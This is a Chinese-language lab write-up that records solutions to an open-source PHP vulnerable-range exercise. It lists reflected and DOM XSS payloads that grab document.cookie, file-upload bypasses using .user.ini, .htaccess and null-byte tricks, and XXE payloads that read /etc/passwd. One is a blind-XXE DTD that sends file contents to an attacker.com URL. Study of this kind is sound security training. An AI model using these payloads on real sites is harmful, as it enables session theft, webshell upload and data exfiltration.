某开源PHP靶场学习记录终篇
字数 1023 2025-08-09 18:44:09
某开源PHP靶场学习记录终篇 - 综合漏洞分析教学文档
XSS漏洞分析
反射型XSS
输出在script标签中
- 漏洞特征:直接回显用户输入到script标签中
- 利用方式:
?xss=<script>alert(1)</script>?xss=123');alert('xss')// // 当输出在alert()中时
输出在script标签中(过滤了尖括号和斜杠)
- 绕过方式:
?xss=');alert(document.cookie);console.log('
输出在HTML属性中
- 利用方式:
或?xss=xss" onerror="alert('1');?xss=xss"><script>alert('xss');</script>
输出在注释中
- 利用方式:使用换行符绕过单行注释
?xss=123%0aalert('xss');
JavaScript被过滤
- 绕过方式:
- 大小写绕过:
?xss=Javascript:alert(document.cookie); - 实体编码绕过:
?xss=j%26%2397;vascript:alert(%26%2339;xss%26%2339;);
- 大小写绕过:
等号问题
- 绕过方式:在等号两边加空格
?xss=xss" onerror ="alert('1');
DOM型XSS
DOM型XSS1
- 利用方式:闭合和注释执行任意JS代码
?xss=";alert(document.cookie);//
DOM型XSS2
- 利用方式:通过location.hash注入
xss_nine#
DOM型XSS3
- 利用方式:URL编码绕过
?asd=%22;alert(document.cookie);//&
DOM型XSS4
- 利用方式:利用indexOf返回值特性绕过
?xss=Javascript:alert(document.cookie)
文件上传漏洞
任意文件上传漏洞
- 上传流程:
- PHP将文件存到临时位置
- 通过
move_uploaded_file()移动到指定位置
基于黑名单的文件上传
- 绕过方式:
- 使用未被禁用的后缀:pht, phpt, phtml, php3, php4, php5, php::$DATA
- 大小写绕过:Php, PhP等
- 解析问题:中间件解析漏洞
- 文件包含:上传.user.ini配合文件包含
Nginx环境.user.ini利用
- 上传123.txt
- 上传.user.ini:
auto_prepend_file=123.txt - 访问同目录下任意PHP文件
Apache环境.htaccess利用
- 文件包含方式:
php_value auto_prepend_file 文件绝对路径 - 文件解析方式:
或AddType application/x-httpd-php .xxx<FilesMatch "shell.txt"> SetHandler application/x-httpd-php </FilesMatch>
基于白名单的文件上传
- 绕过方式:
- 00截断(PHP<5.3.4):
1.php\x00.jpg - 服务器中间件解析漏洞
- 00截断(PHP<5.3.4):
基于type检测的文件上传
- 绕过方式:修改Content-Type为允许的类型:
- image/gif
- image/jpeg
- image/png
基于内容检测的文件上传
- 绕过方式:在PHP代码前添加文件头标记
- GIF:
GIF89a
- GIF:
XXE漏洞分析
XML基础
- XML结构:
<?xml version="1.0" ?> <!--XML声明--> <!DOCTYPE root [ <!ELEMENT name (#PCDATA)> <!ELEMENT sex (#PCDATA)> <!ELEMENT age (#PCDATA)> ]> <user> <name>SNCKER</name> <sex>woman</sex> <age>3</age> </user>
恶意引入外部实体的三种方法
本地引入
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<root>&file;</root>
远程引入1
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % d SYSTEM "http://example.com/evil.dtd">
%d;
]>
<root>&file;</root>
evil.dtd内容:
<!ENTITY file SYSTEM "file:///etc/passwd">
远程引入2
<?xml version="1.0" ?>
<!DOCTYPE root SYSTEM "http://example.com/evil.dtd">
<root>&file;</root>
回显型XXE
- 利用方式:
<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]> <root> <name>&file;</name> </root>
盲型XXE
- 利用方式:
- 构造XML:
<?xml version="1.0" ?> <!DOCTYPE root [ <!ENTITY % d SYSTEM "http://example.com/evil.dtd"> %d; ]> <root>&file;</root>- evil.dtd内容:
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> <!ENTITY % remote "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%file;'>"> %remote; %send;
关键注意事项
- XXE漏洞与libXML版本相关,2.9.0+默认禁止外部实体
- 文件上传漏洞审计时可搜索
move_uploaded_file函数 - 00截断需要PHP版本<5.3.4
- 不同环境下支持的协议不同,需针对性利用